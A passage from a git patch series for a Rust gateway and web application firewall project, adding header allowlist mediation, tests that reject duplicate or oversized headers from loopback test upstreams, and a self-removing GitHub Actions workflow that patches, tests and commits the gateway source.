+            StatusCode::BAD_GATEWAY
+        );
+    }
+}

From f7b384a6dfe320f8b4042d30c4e751945b5ab959 Mon Sep 17 00:00:00 2001
From: Seongho Bae 
Date: Tue, 22 Sep 2026 20:09:49 +0900
Subject: [PATCH 11/29] fix(gateway): add bounded least-authority header
 mediation

---
 src/gateway_mediation.rs | 171 +++++++++++++++++++++++++++++++++++++++
 1 file changed, 171 insertions(+)
 create mode 100644 src/gateway_mediation.rs

diff --git a/src/gateway_mediation.rs b/src/gateway_mediation.rs
new file mode 100644
index 00000000..ec41627b
--- /dev/null
+++ b/src/gateway_mediation.rs
@@ -0,0 +1,171 @@
+use axum::http::{HeaderMap, HeaderName};
+use std::collections::HashSet;
+
+const APP_METADATA_HEADER: &str = "x-wardnet-app-meta";
+const APP_METADATA_MAX_BYTES: usize = 16_384;
+const REQUEST_ALLOWED: &[&str] = &["content-type", "accept", APP_METADATA_HEADER];
+const RESPONSE_ALLOWED: &[&str] = &[
+    "content-type",
+    APP_METADATA_HEADER,
+    "location",
+    "retry-after",
+    "www-authenticate",
+];
+
+pub(crate) fn admit_request_headers(source: &HeaderMap) -> Result {
+    reject_duplicate(source, "x-admin-token")?;
+    reject_duplicate(source, "content-type")?;
+    reject_oversized_app_metadata(source)?;
+    admit_allowlisted(source, REQUEST_ALLOWED)
+}
+
+pub(crate) fn admit_response_headers(source: &HeaderMap) -> Result {
+    reject_duplicate(source, "content-type")?;
+    reject_oversized_app_metadata(source)?;
+    admit_allowlisted(source, RESPONSE_ALLOWED)
+}
+
+fn reject_duplicate(source: &HeaderMap, name: &'static str) -> Result<(), String> {
+    if source.get_all(name).iter().take(2).count() > 1 {
+        return Err(format!("gateway header {name} must not be duplicated"));
+    }
+    Ok(())
+}
+
+fn reject_oversized_app_metadata(source: &HeaderMap) -> Result<(), String> {
+    let total = source
+        .get_all(APP_METADATA_HEADER)
+        .iter()
+        .fold(0usize, |size, value| size.saturating_add(value.as_bytes().len()));
+    if total > APP_METADATA_MAX_BYTES {
+        return Err(format!(
+            "gateway header {APP_METADATA_HEADER} exceeds {APP_METADATA_MAX_BYTES} bytes"
+        ));
+    }
+    Ok(())
+}
+
+fn connection_nominations(source: &HeaderMap) -> Result, String> {
+    let mut nominated = HashSet::new();
+    for value in source.get_all("connection").iter() {
+        let raw = value
+            .to_str()
+            .map_err(|_| "gateway Connection header must be visible ASCII".to_string())?;
+        for token in raw.split(',').map(str::trim).filter(|token| !token.is_empty()) {
+            let name = HeaderName::from_bytes(token.as_bytes())
+                .map_err(|_| format!("gateway Connection nomination {token:?} is invalid"))?;
+            nominated.insert(name);
+        }
+    }
+    Ok(nominated)
+}
+
+fn admit_allowlisted(source: &HeaderMap, allowed: &[&'static str]) -> Result {
+    let nominated = connection_nominations(source)?;
+    let mut admitted = HeaderMap::new();
+    for &name in allowed {
+        let header_name = HeaderName::from_static(name);
+        if nominated.contains(&header_name) {
+            continue;
+        }
+        for value in source.get_all(name).iter() {
+            admitted.append(header_name.clone(), value.clone());
+        }
+    }
+    Ok(admitted)
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use axum::http::HeaderValue;
+
+    #[test]
+    fn request_policy_preserves_only_bounded_allowlist_with_multiplicity() {
+        let mut source = HeaderMap::new();
+        source.append("content-type", HeaderValue::from_static("application/json"));
+        source.append("accept", HeaderValue::from_static("application/json"));
+        source.append(APP_METADATA_HEADER, HeaderValue::from_static("a"));
+        source.append(APP_METADATA_HEADER, HeaderValue::from_static("b"));
+        source.append("authorization", HeaderValue::from_static("Bearer secret"));
+
+        let admitted = admit_request_headers(&source).unwrap();
+        assert_eq!(admitted.get("content-type").unwrap(), "application/json");
+        assert_eq!(admitted.get("accept").unwrap(), "application/json");
+        assert_eq!(admitted.get_all(APP_METADATA_HEADER).iter().count(), 2);
+        assert!(admitted.get("authorization").is_none());
+    }
+
+    #[test]
+    fn duplicate_and_oversized_request_authority_fail_closed() {
+        let mut duplicate_admin = HeaderMap::new();
+        duplicate_admin.append("x-admin-token", HeaderValue::from_static("a"));
+        duplicate_admin.append("x-admin-token", HeaderValue::from_static("b"));
+        assert!(admit_request_headers(&duplicate_admin).is_err());
+
+        let mut duplicate_type = HeaderMap::new();
+        duplicate_type.append("content-type", HeaderValue::from_static("text/plain"));
+        duplicate_type.append("content-type", HeaderValue::from_static("application/json"));
+        assert!(admit_request_headers(&duplicate_type).is_err());
+
+        let mut oversized = HeaderMap::new();
+        oversized.insert(
+            APP_METADATA_HEADER,
+            HeaderValue::from_str(&"x".repeat(APP_METADATA_MAX_BYTES + 1)).unwrap(),
+        );
+        assert!(admit_request_headers(&oversized).is_err());
+    }
+
+    #[test]
+    fn connection_nominations_remove_otherwise_allowed_fields() {
+        let mut source = HeaderMap::new();
+        source.append(APP_METADATA_HEADER, HeaderValue::from_static("keep-out"));
+        source.append("connection", HeaderValue::from_static(APP_METADATA_HEADER));
+        let admitted = admit_request_headers(&source).unwrap();
+        assert!(admitted.get(APP_METADATA_HEADER).is_none());
+
+        let mut malformed = HeaderMap::new();
+        malformed.append("connection", HeaderValue::from_bytes(&[0xff]).unwrap());
+        assert!(admit_request_headers(&malformed).is_err());
+
+        let mut invalid_nomination = HeaderMap::new();
+        invalid_nomination.append("connection", HeaderValue::from_static("bad name"));
+        assert!(admit_request_headers(&invalid_nomination).is_err());
+    }
+
+    #[test]
+    fn response_policy_preserves_representation_metadata_and_strips_authority() {
+        let mut source = HeaderMap::new();
+        source.append("content-type", HeaderValue::from_static("application/json"));
+        source.append(APP_METADATA_HEADER, HeaderValue::from_static("a"));
+        source.append(APP_METADATA_HEADER, HeaderValue::from_static("b"));
+        source.append("location", HeaderValue::from_static("/v1/items/42"));
+        source.append("retry-after", HeaderValue::from_static("5"));
+        source.append("www-authenticate", HeaderValue::from_static("Bearer realm=\"buyer\""));
+        source.append("set-cookie", HeaderValue::from_static("secret=1"));
+        source.append("connection", HeaderValue::from_static(APP_METADATA_HEADER));
+
+        let admitted = admit_response_headers(&source).unwrap();
+        assert_eq!(admitted.get("content-type").unwrap(), "application/json");
+        assert!(admitted.get(APP_METADATA_HEADER).is_none());
+        assert_eq!(admitted.get("location").unwrap(), "/v1/items/42");
+        assert_eq!(admitted.get("retry-after").unwrap(), "5");
+        assert!(admitted.get("www-authenticate").is_some());
+        assert!(admitted.get("set-cookie").is_none());
+    }
+
+    #[test]
+    fn response_policy_rejects_duplicate_type_and_oversized_metadata() {
+        let mut duplicate_type = HeaderMap::new();
+        duplicate_type.append("content-type", HeaderValue::from_static("text/plain"));
+        duplicate_type.append("content-type", HeaderValue::from_static("application/json"));
+        assert!(admit_response_headers(&duplicate_type).is_err());
+
+        let mut oversized = HeaderMap::new();
+        oversized.insert(
+            APP_METADATA_HEADER,
+            HeaderValue::from_str(&"x".repeat(APP_METADATA_MAX_BYTES + 1)).unwrap(),
+        );
+        assert!(admit_response_headers(&oversized).is_err());
+    }
+}

From f6af18a1ba03ee9f18116cf2d766a726818cae19 Mon Sep 17 00:00:00 2001
From: Seongho Bae 
Date: Tue, 22 Sep 2026 20:18:03 +0900
Subject: [PATCH 12/29] fix(gateway): keep mediation tests compile-explicit

---
 src/gateway_mediation.rs | 1 +
 1 file changed, 1 insertion(+)

diff --git a/src/gateway_mediation.rs b/src/gateway_mediation.rs
index ec41627b..14f2bc2c 100644
--- a/src/gateway_mediation.rs
+++ b/src/gateway_mediation.rs
@@ -79,6 +79,7 @@ fn admit_allowlisted(source: &HeaderMap, allowed: &[&'static str]) -> Result
Date: Tue, 22 Sep 2026 21:10:08 +0900
Subject: [PATCH 13/29] test(gateway): reject ambiguous singleton responses

---
 tests/gateway_response_singleton_mediation.rs | 138 ++++++++++++++++++
 1 file changed, 138 insertions(+)
 create mode 100644 tests/gateway_response_singleton_mediation.rs

diff --git a/tests/gateway_response_singleton_mediation.rs b/tests/gateway_response_singleton_mediation.rs
new file mode 100644
index 00000000..f0cc085a
--- /dev/null
+++ b/tests/gateway_response_singleton_mediation.rs
@@ -0,0 +1,138 @@
+//! Hostile response-singleton acceptance for #440.
+//!
+//! `Location` and `Retry-After` are single-valued response fields under RFC 9110.
+//! A gateway must not relay ambiguous duplicate values as an otherwise successful
+//! upstream response. This child remains test-only; #441 owns the production
+//! mediation repair.
+
+use axum::{
+    Router,
+    body::Body,
+    http::{HeaderValue, Method, Request, StatusCode, header::CONTENT_TYPE},
+    response::{IntoResponse, Response},
+    routing::any,
+};
+use tower::ServiceExt;
+use waf_ids_ai_soc::{AppState, build_app};
+
+async fn duplicate_location_response() -> Response {
+    let mut response = (StatusCode::FOUND, "ambiguous location").into_response();
+    response
+        .headers_mut()
+        .append("location", HeaderValue::from_static("/v1/items/first"));
+    response
+        .headers_mut()
+        .append("location", HeaderValue::from_static("/v1/items/second"));
+    response
+}
+
+async fn duplicate_retry_after_response() -> Response {
+    let mut response = (StatusCode::TOO_MANY_REQUESTS, "ambiguous retry").into_response();
+    response
+        .headers_mut()
+        .append("retry-after", HeaderValue::from_static("5"));
+    response
+        .headers_mut()
+        .append("retry-after", HeaderValue::from_static("120"));
+    response
+}
+
+async fn gateway_with_hostile_upstream() -> (Router, tokio::task::JoinHandle<()>) {
+    let upstream_app = Router::new()
+        .route("/v1/duplicate-location", any(duplicate_location_response))
+        .route(
+            "/v1/duplicate-retry-after",
+            any(duplicate_retry_after_response),
+        );
+    let listener = tokio::net::TcpListener::bind("127.0.0.1:0")
+        .await
+        .expect("loopback upstream listener");
+    let upstream_addr = listener.local_addr().expect("loopback upstream address");
+    let upstream_task = tokio::spawn(async move {
+        axum::serve(listener, upstream_app)
+            .await
+            .expect("loopback upstream must serve until test cleanup");
+    });
+
+    let app = build_app(AppState::seeded(Some("secret".to_string())));
+    let route = serde_json::json!({
+        "id": "response-singleton-red",
+        "path_prefix": "/headers",
+        "upstream": format!("http://{upstream_addr}"),
+        "mode": "monitor",
+        "enabled": true,
+        "block_threshold": null
+    });
+    let created = app
+        .clone()
+        .oneshot(
+            Request::builder()
+                .method(Method::POST)
+                .uri("/api/routes")
+                .header(CONTENT_TYPE, "application/json")
+                .header("x-admin-token", "secret")
+                .body(Body::from(route.to_string()))
+                .expect("valid route registration request"),
+        )
+        .await
+        .expect("Wardnet must answer route registration");
+    assert_eq!(created.status(), StatusCode::CREATED);
+
+    (app, upstream_task)
+}
+
+#[tokio::test]
+async fn duplicate_upstream_location_fails_closed() {
+    let (app, upstream_task) = gateway_with_hostile_upstream().await;
+
+    let response = app
+        .oneshot(
+            Request::builder()
+                .method(Method::GET)
+                .uri("/gateway/headers/v1/duplicate-location")
+                .body(Body::empty())
+                .expect("duplicate Location fixture"),
+        )
+        .await
+        .expect("gateway must answer hostile upstream response");
+
+    assert_eq!(
+        response.status(),
+        StatusCode::BAD_GATEWAY,
+        "multiple Location values are an ambiguous upstream response and must fail closed"
+    );
+    assert!(
+        response.headers().get("location").is_none(),
+        "ambiguous Location authority must not be relayed"
+    );
+
+    upstream_task.abort();
+}
+
+#[tokio::test]
+async fn duplicate_upstream_retry_after_fails_closed() {
+    let (app, upstream_task) = gateway_with_hostile_upstream().await;
+
+    let response = app
+        .oneshot(
+            Request::builder()
+                .method(Method::GET)
+                .uri("/gateway/headers/v1/duplicate-retry-after")
+                .body(Body::empty())
+                .expect("duplicate Retry-After fixture"),
+        )
+        .await
+        .expect("gateway must answer hostile upstream response");
+
+    assert_eq!(
+        response.status(),
+        StatusCode::BAD_GATEWAY,
+        "multiple Retry-After values are ambiguous and must fail closed"
+    );
+    assert!(
+        response.headers().get("retry-after").is_none(),
+        "ambiguous Retry-After metadata must not be relayed"
+    );
+
+    upstream_task.abort();
+}

From c9b734424d80bb13b6e31fb7b6186c93e6538276 Mon Sep 17 00:00:00 2001
From: Seongho Bae 
Date: Tue, 22 Sep 2026 23:11:20 +0900
Subject: [PATCH 14/29] chore(gateway): stage one-shot mediation synthesis

---
 .../wardnet-gateway-mediation-synthesis.yml   | 161 ++++++++++++++++++
 1 file changed, 161 insertions(+)
 create mode 100644 .github/workflows/wardnet-gateway-mediation-synthesis.yml

diff --git a/.github/workflows/wardnet-gateway-mediation-synthesis.yml b/.github/workflows/wardnet-gateway-mediation-synthesis.yml
new file mode 100644
index 00000000..62a32ced
--- /dev/null
+++ b/.github/workflows/wardnet-gateway-mediation-synthesis.yml
@@ -0,0 +1,161 @@
+name: Wardnet gateway mediation synthesis repair
+
+on:
+  push:
+    branches:
+      - test/440-gateway-header-mediation-red
+    paths:
+      - .github/workflows/wardnet-gateway-mediation-synthesis.yml
+
+permissions:
+  contents: write
+
+jobs:
+  synthesize:
+    runs-on: ubuntu-latest
+    steps:
+      - name: Checkout exact branch
+        uses: actions/checkout@11d5960a326750d5838078e36cf38b85af677262
+        with:
+          fetch-depth: 0
+
+      - name: Guard repair input
+        shell: bash
+        run: |
+          set -euo pipefail
+          test "$(git rev-parse HEAD^)" = "7a769e57b5f53d0765b8a33da4bc5a095f09690a"
+          test "$(git diff-tree --no-commit-id --name-only -r HEAD)" = ".github/workflows/wardnet-gateway-mediation-synthesis.yml"
+          git cat-file -e 7a769e57b5f53d0765b8a33da4bc5a095f09690a^{commit}
+          git cat-file -e 1456845cf40f9e49c017b25ea485238299bf569d^{commit}
+          git merge-base --is-ancestor 1456845cf40f9e49c017b25ea485238299bf569d 7a769e57b5f53d0765b8a33da4bc5a095f09690a
+
+      - name: Synthesize bounded gateway mediation into complete source
+        shell: bash
+        run: |
+          set -euo pipefail
+          git show 7a769e57b5f53d0765b8a33da4bc5a095f09690a:src/lib.rs > /tmp/predecessor-lib.rs
+          python3 - <<'PY'
+          from pathlib import Path
+
+          source = Path('/tmp/predecessor-lib.rs').read_text()
+
+          old = "mod coraza_audit;\nmod credentials;\nmod kev_import;"
+          new = "mod coraza_audit;\nmod credentials;\nmod gateway_mediation;\nmod kev_import;"
+          assert source.count(old) == 1, source.count(old)
+          source = source.replace(old, new, 1)
+
+          old = "    if route.upstream.starts_with(\"mock://\") {"
+          new = '''    let admitted_request_headers = match gateway_mediation::admit_request_headers(&headers) {
+              Ok(headers) => headers,
+              Err(message) => return error(StatusCode::BAD_REQUEST, message),
+          };
+
+          if route.upstream.starts_with("mock://") {'''
+          assert source.count(old) == 1, source.count(old)
+          source = source.replace(old, new, 1)
+
+          old = "    match proxy_request(&state, &route, &method, gateway_path, uri.query(), body).await {"
+          new = '''    match proxy_request_with_headers(
+              &state,
+              &route,
+              &method,
+              gateway_path,
+              uri.query(),
+              admitted_request_headers,
+              body,
+          )
+          .await
+          {'''
+          assert source.count(old) == 1, source.count(old)
+          source = source.replace(old, new, 1)
+
+          proxy_start = source.index("async fn proxy_request(\n")
+          target_start = source.index("\npub fn upstream_target(\n", proxy_start)
+          replacement = r'''async fn proxy_request(
+              state: &AppState,
+              route: &RouteConfig,
+              method: &Method,
+              path: &str,
+              query: Option<&str>,
+              body: Bytes,
+          ) -> Result {
+              proxy_request_with_headers(
+                  state,
+                  route,
+                  method,
+                  path,
+                  query,
+                  HeaderMap::new(),
+                  body,
+              )
+              .await
+          }
+
+          async fn proxy_request_with_headers(
+              state: &AppState,
+              route: &RouteConfig,
+              method: &Method,
+              path: &str,
+              query: Option<&str>,
+              request_headers: HeaderMap,
+              body: Bytes,
+          ) -> Result {
+              let target = upstream_target(route, path, query)?;
+              let method = reqwest::Method::from_bytes(method.as_str().as_bytes())
+                  .expect("axum HTTP methods are valid reqwest HTTP methods");
+              let response = state
+                  .http
+                  .request(method, target)
+                  .headers(request_headers)
+                  .body(body)
+                  .send()
+                  .await
+                  .map_err(|error| format!("upstream request failed: {error}"))?;
+              let status = StatusCode::from_u16(response.status().as_u16())
+                  .expect("reqwest upstream status codes are valid axum status codes");
+              let admitted_response_headers = gateway_mediation::admit_response_headers(response.headers())
+                  .map_err(|message| format!("upstream response rejected: {message}"))?;
+              let bytes = response
+                  .bytes()
+                  .await
+                  .map_err(|error| format!("upstream body read failed: {error}"))?;
+              let mut response = (status, bytes).into_response();
+              *response.headers_mut() = admitted_response_headers;
+              Ok(response)
+          }
+          '''
+          source = source[:proxy_start] + replacement + source[target_start:]
+
+          assert source.count("mod gateway_mediation;") == 1
+          assert source.count("gateway_mediation::admit_request_headers(&headers)") == 1
+          assert source.count("gateway_mediation::admit_response_headers(response.headers())") == 1
+          assert source.count("async fn proxy_request_with_headers(") == 1
+          assert ".headers(request_headers)" in source
+          assert "StatusCode::BAD_REQUEST" in source[source.index("async fn gateway("):source.index("fn client_ip_from_headers")]
+          assert "upstream response rejected" in source
+
+          Path('src/lib.rs').write_text(source)
+          PY
+          cargo fmt --all
+          git diff --check
+          test "$(git diff --name-only)" = "src/lib.rs"
+
+      - name: Prove hostile mediation locally
+        shell: bash
+        run: |
+          set -euo pipefail
+          cargo test --locked --test gateway_header_mediation
+          cargo test --locked --lib
+          cargo clippy --locked --all-targets --all-features -- -D warnings
+
+      - name: Commit causal source repair and remove helper
+        shell: bash
+        run: |
+          set -euo pipefail
+          test "$(git diff --name-only)" = "src/lib.rs"
+          git rm .github/workflows/wardnet-gateway-mediation-synthesis.yml
+          git config user.name "github-actions[bot]"
+          git config user.email "41898282+github-actions[bot]@users.noreply.github.com"
+          git add src/lib.rs
+          git commit -m "fix(gateway): enforce bounded header mediation"
+          git push origin HEAD:test/440-gateway-header-mediation-red

From 7f1c7ca7281c795a38c498a337322f9b1e604863 Mon Sep 17 00:00:00 2001
From: Seongho Bae 
Date: Wed, 23 Sep 2026 01:07:17 +0900
Subject: [PATCH 15/29] chore(gateway): rebind mediation synthesis to restacked
 parent

---
 .../workflows/wardnet-gateway-mediation-synthesis.yml  | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/.github/workflows/wardnet-gateway-mediation-synthesis.yml b/.github/workflows/wardnet-gateway-mediation-synthesis.yml
index 62a32ced..96d9e5ca 100644
--- a/.github/workflows/wardnet-gateway-mediation-synthesis.yml
+++ b/.github/workflows/wardnet-gateway-mediation-synthesis.yml
@@ -23,17 +23,17 @@ jobs:
         shell: bash
         run: |
           set -euo pipefail
-          test "$(git rev-parse HEAD^)" = "7a769e57b5f53d0765b8a33da4bc5a095f09690a"
+          test "$(git rev-parse HEAD^)" = "853f468c46697c39c29bd1342c097f33939c618e"
           test "$(git diff-tree --no-commit-id --name-only -r HEAD)" = ".github/workflows/wardnet-gateway-mediation-synthesis.yml"
-          git cat-file -e 7a769e57b5f53d0765b8a33da4bc5a095f09690a^{commit}
-          git cat-file -e 1456845cf40f9e49c017b25ea485238299bf569d^{commit}
-          git merge-base --is-ancestor 1456845cf40f9e49c017b25ea485238299bf569d 7a769e57b5f53d0765b8a33da4bc5a095f09690a
+          git cat-file -e 853f468c46697c39c29bd1342c097f33939c618e^{commit}
+          git cat-file -e 11e7fabfca76e0051fa883905228a0dbe472f4df^{commit}
+          git merge-base --is-ancestor 11e7fabfca76e0051fa883905228a0dbe472f4df 853f468c46697c39c29bd1342c097f33939c618e
 
       - name: Synthesize bounded gateway mediation into complete source
         shell: bash
         run: |
           set -euo pipefail
-          git show 7a769e57b5f53d0765b8a33da4bc5a095f09690a:src/lib.rs > /tmp/predecessor-lib.rs
+          git show 853f468c46697c39c29bd1342c097f33939c618e:src/lib.rs > /tmp/predecessor-lib.rs
           python3 - <<'PY'
           from pathlib import Path
 

From be523f313e7d7243974163d0e68791e42e9ccc0d Mon Sep 17 00:00:00 2001
From: Seongho Bae 
Date: Wed, 23 Sep 2026 03:03:48 +0900
Subject: [PATCH 16/29] fix(ci): provision Rust before mediation synthesis

---
 .github/workflows/wardnet-gateway-mediation-synthesis.yml | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/.github/workflows/wardnet-gateway-mediation-synthesis.yml b/.github/workflows/wardnet-gateway-mediation-synthesis.yml
index 96d9e5ca..d419cdb8 100644
--- a/.github/workflows/wardnet-gateway-mediation-synthesis.yml
+++ b/.github/workflows/wardnet-gateway-mediation-synthesis.yml
@@ -19,6 +19,11 @@ jobs:
         with:
           fetch-depth: 0
 
+      - name: Set up Rust toolchain
+        uses: dtolnay/rust-toolchain@4be7066ada62dd38de10e7b70166bc74ed198c30
+        with:
+          toolchain: stable
+
       - name: Guard repair input
         shell: bash
         run: |

From 4e57283a6e5af521e560856a101f89e631d01284 Mon Sep 17 00:00:00 2001
From: Seongho Bae 
Date: Wed, 23 Sep 2026 05:01:16 +0900
Subject: [PATCH 17/29] fix(ci): guard mediation synthesis across helper
 commits

---
 .github/workflows/wardnet-gateway-mediation-synthesis.yml | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/.github/workflows/wardnet-gateway-mediation-synthesis.yml b/.github/workflows/wardnet-gateway-mediation-synthesis.yml
index d419cdb8..c9345f82 100644
--- a/.github/workflows/wardnet-gateway-mediation-synthesis.yml
+++ b/.github/workflows/wardnet-gateway-mediation-synthesis.yml
@@ -28,11 +28,11 @@ jobs:
         shell: bash
         run: |
           set -euo pipefail
-          test "$(git rev-parse HEAD^)" = "853f468c46697c39c29bd1342c097f33939c618e"
-          test "$(git diff-tree --no-commit-id --name-only -r HEAD)" = ".github/workflows/wardnet-gateway-mediation-synthesis.yml"
           git cat-file -e 853f468c46697c39c29bd1342c097f33939c618e^{commit}
           git cat-file -e 11e7fabfca76e0051fa883905228a0dbe472f4df^{commit}
           git merge-base --is-ancestor 11e7fabfca76e0051fa883905228a0dbe472f4df 853f468c46697c39c29bd1342c097f33939c618e
+          git merge-base --is-ancestor 853f468c46697c39c29bd1342c097f33939c618e HEAD
+          test "$(git diff --name-only 853f468c46697c39c29bd1342c097f33939c618e..HEAD)" = ".github/workflows/wardnet-gateway-mediation-synthesis.yml"
 
       - name: Synthesize bounded gateway mediation into complete source
         shell: bash

From f42d8b5f21d6afbd4e9d0654a93af1fce61109f7 Mon Sep 17 00:00:00 2001
From: Seongho Bae 
Date: Wed, 23 Sep 2026 07:05:48 +0900
Subject: [PATCH 18/29] fix(ci): avoid unrelated llvm-tools bootstrap in
 mediation synthesis

---
 .../workflows/wardnet-gateway-mediation-synthesis.yml | 11 +++++++----
 1 file changed, 7 insertions(+), 4 deletions(-)

diff --git a/.github/workflows/wardnet-gateway-mediation-synthesis.yml b/.github/workflows/wardnet-gateway-mediation-synthesis.yml
index c9345f82..06056dfa 100644
--- a/.github/workflows/wardnet-gateway-mediation-synthesis.yml
+++ b/.github/workflows/wardnet-gateway-mediation-synthesis.yml
@@ -141,7 +141,10 @@ jobs:
 
           Path('src/lib.rs').write_text(source)
           PY
-          cargo fmt --all
+          # This repair does not use llvm-cov. Explicit +stable keeps rustup from
+          # installing the workspace-only llvm-tools component during fmt/test,
+          # while still using the same stable toolchain as normal Wardnet CI.
+          cargo +stable fmt --all
           git diff --check
           test "$(git diff --name-only)" = "src/lib.rs"
 
@@ -149,9 +152,9 @@ jobs:
         shell: bash
         run: |
           set -euo pipefail
-          cargo test --locked --test gateway_header_mediation
-          cargo test --locked --lib
-          cargo clippy --locked --all-targets --all-features -- -D warnings
+          cargo +stable test --locked --test gateway_header_mediation
+          cargo +stable test --locked --lib
+          cargo +stable clippy --locked --all-targets --all-features -- -D warnings
 
       - name: Commit causal source repair and remove helper
         shell: bash

From 5e80ff98f000e623c47e89527a69295f669b2e15 Mon Sep 17 00:00:00 2001
From: Seongho Bae 
Date: Wed, 23 Sep 2026 10:06:10 +0900
Subject: [PATCH 19/29] fix(ci): isolate gateway synthesis formatting failure

---
 .../workflows/wardnet-gateway-mediation-synthesis.yml  | 10 ++++++----
 1 file changed, 6 insertions(+), 4 deletions(-)

diff --git a/.github/workflows/wardnet-gateway-mediation-synthesis.yml b/.github/workflows/wardnet-gateway-mediation-synthesis.yml
index 06056dfa..4b525bff 100644
--- a/.github/workflows/wardnet-gateway-mediation-synthesis.yml
+++ b/.github/workflows/wardnet-gateway-mediation-synthesis.yml
@@ -141,10 +141,12 @@ jobs:
 
           Path('src/lib.rs').write_text(source)
           PY
-          # This repair does not use llvm-cov. Explicit +stable keeps rustup from
-          # installing the workspace-only llvm-tools component during fmt/test,
-          # while still using the same stable toolchain as normal Wardnet CI.
-          cargo +stable fmt --all
+
+      - name: Format synthesized source
+        shell: bash
+        run: |
+          set -euo pipefail
+          rustfmt +stable --edition 2024 src/lib.rs
           git diff --check
           test "$(git diff --name-only)" = "src/lib.rs"
 

From a63b5405b26231ff68774568fb4b2d3005539b7c Mon Sep 17 00:00:00 2001
From: Seongho Bae 
Date: Wed, 23 Sep 2026 13:04:50 +0900
Subject: [PATCH 20/29] fix(ci): isolate synthesis rustfmt side effects

---
 .github/workflows/wardnet-gateway-mediation-synthesis.yml | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/.github/workflows/wardnet-gateway-mediation-synthesis.yml b/.github/workflows/wardnet-gateway-mediation-synthesis.yml
index 4b525bff..2e29981a 100644
--- a/.github/workflows/wardnet-gateway-mediation-synthesis.yml
+++ b/.github/workflows/wardnet-gateway-mediation-synthesis.yml
@@ -146,7 +146,11 @@ jobs:
         shell: bash
         run: |
           set -euo pipefail
-          rustfmt +stable --edition 2024 src/lib.rs
+          scratch="$(mktemp -d)"
+          trap 'rm -rf "$scratch"' EXIT
+          cp -a src "$scratch/src"
+          rustfmt +stable --edition 2024 "$scratch/src/lib.rs"
+          cp "$scratch/src/lib.rs" src/lib.rs
           git diff --check
           test "$(git diff --name-only)" = "src/lib.rs"
 

From 26c5de512899d8e91fb7f64b48c1d8e77e36a814 Mon Sep 17 00:00:00 2001
From: Seongho Bae 
Date: Wed, 23 Sep 2026 14:05:20 +0900
Subject: [PATCH 21/29] test(gateway): preserve representation content encoding

---
 tests/gateway_content_encoding.rs | 185 ++++++++++++++++++++++++++++++
 1 file changed, 185 insertions(+)
 create mode 100644 tests/gateway_content_encoding.rs

diff --git a/tests/gateway_content_encoding.rs b/tests/gateway_content_encoding.rs
new file mode 100644
index 00000000..593b330a
--- /dev/null
+++ b/tests/gateway_content_encoding.rs
@@ -0,0 +1,185 @@
+//! Hostile buyer acceptance for #447: end-to-end representation codings must
+//! remain coupled to the byte-identical representation crossing Wardnet's
+//! generic gateway boundary.
+//!
+//! This lane is intentionally test-only. Production mediation remains owned by
+//! #441; once that parent settles, this child must adopt the complete parent
+//! non-force before any production repair is authorized.
+
+use std::sync::Arc;
+
+use axum::{
+    Router,
+    body::{Body, Bytes, to_bytes},
+    extract::State,
+    http::{HeaderMap, HeaderValue, Method, Request, StatusCode, header::CONTENT_TYPE},
+    response::{IntoResponse, Response},
+    routing::any,
+};
+use tokio::sync::Mutex;
+use tower::ServiceExt;
+use waf_ids_ai_soc::{AppState, build_app};
+
+const REQUEST_GZIP_JSON: &[u8] = &[
+    0x1f, 0x8b, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xff, 0xab, 0x56, 0x2a, 0x28,
+    0xca, 0x4f, 0x4a, 0x55, 0xb2, 0x2a, 0x29, 0x2a, 0x4d, 0xad, 0x05, 0x00, 0xa9, 0x27,
+    0x1b, 0xbb, 0x0e, 0x00, 0x00, 0x00,
+];
+const RESPONSE_GZIP_JSON: &[u8] = &[
+    0x1f, 0x8b, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xff, 0xab, 0x56, 0xca, 0xcf,
+    0x56, 0xb2, 0x2a, 0x29, 0x2a, 0x4d, 0xad, 0x05, 0x00, 0x90, 0x5f, 0xd4, 0xa7, 0x0b,
+    0x00, 0x00, 0x00,
+];
+
+#[derive(Clone, Default)]
+struct Capture {
+    request_headers: Arc>>,
+    request_body: Arc>>,
+}
+
+async fn coded_upstream(
+    State(capture): State,
+    headers: HeaderMap,
+    body: Bytes,
+) -> Response {
+    *capture.request_headers.lock().await = Some(headers);
+    *capture.request_body.lock().await = Some(body);
+
+    let mut response = (StatusCode::OK, Body::from(RESPONSE_GZIP_JSON)).into_response();
+    response
+        .headers_mut()
+        .insert(CONTENT_TYPE, HeaderValue::from_static("application/json"));
+    response
+        .headers_mut()
+        .insert("content-encoding", HeaderValue::from_static("gzip"));
+    response
+        .headers_mut()
+        .insert("connection", HeaderValue::from_static("x-hop-secret"));
+    response
+        .headers_mut()
+        .insert("x-hop-secret", HeaderValue::from_static("must-not-reflect"));
+    response
+}
+
+async fn gateway_with_coded_upstream() -> (Router, Capture, tokio::task::JoinHandle<()>) {
+    let capture = Capture::default();
+    let upstream = Router::new()
+        .route("/v1/coded", any(coded_upstream))
+        .with_state(capture.clone());
+    let listener = tokio::net::TcpListener::bind("127.0.0.1:0")
+        .await
+        .expect("loopback upstream listener");
+    let upstream_addr = listener.local_addr().expect("loopback upstream address");
+    let upstream_task = tokio::spawn(async move {
+        axum::serve(listener, upstream)
+            .await
+            .expect("loopback upstream must serve until test cleanup");
+    });
+
+    let app = build_app(AppState::seeded(Some("secret".to_string())));
+    let route = serde_json::json!({
+        "id": "content-encoding-red",
+        "path_prefix": "/coded",
+        "upstream": format!("http://{upstream_addr}"),
+        "mode": "monitor",
+        "enabled": true,
+        "block_threshold": null
+    });
+    let created = app
+        .clone()
+        .oneshot(
+            Request::builder()
+                .method(Method::POST)
+                .uri("/api/routes")
+                .header(CONTENT_TYPE, "application/json")
+                .header("x-admin-token", "secret")
+                .body(Body::from(route.to_string()))
+                .expect("valid route registration request"),
+        )
+        .await
+        .expect("Wardnet must answer route registration");
+    assert_eq!(created.status(), StatusCode::CREATED);
+
+    (app, capture, upstream_task)
+}
+
+#[tokio::test]
+async fn request_preserves_content_encoding_with_byte_identical_representation() {
+    let (app, capture, upstream_task) = gateway_with_coded_upstream().await;
+
+    let response = app
+        .oneshot(
+            Request::builder()
+                .method(Method::POST)
+                .uri("/gateway/coded/v1/coded")
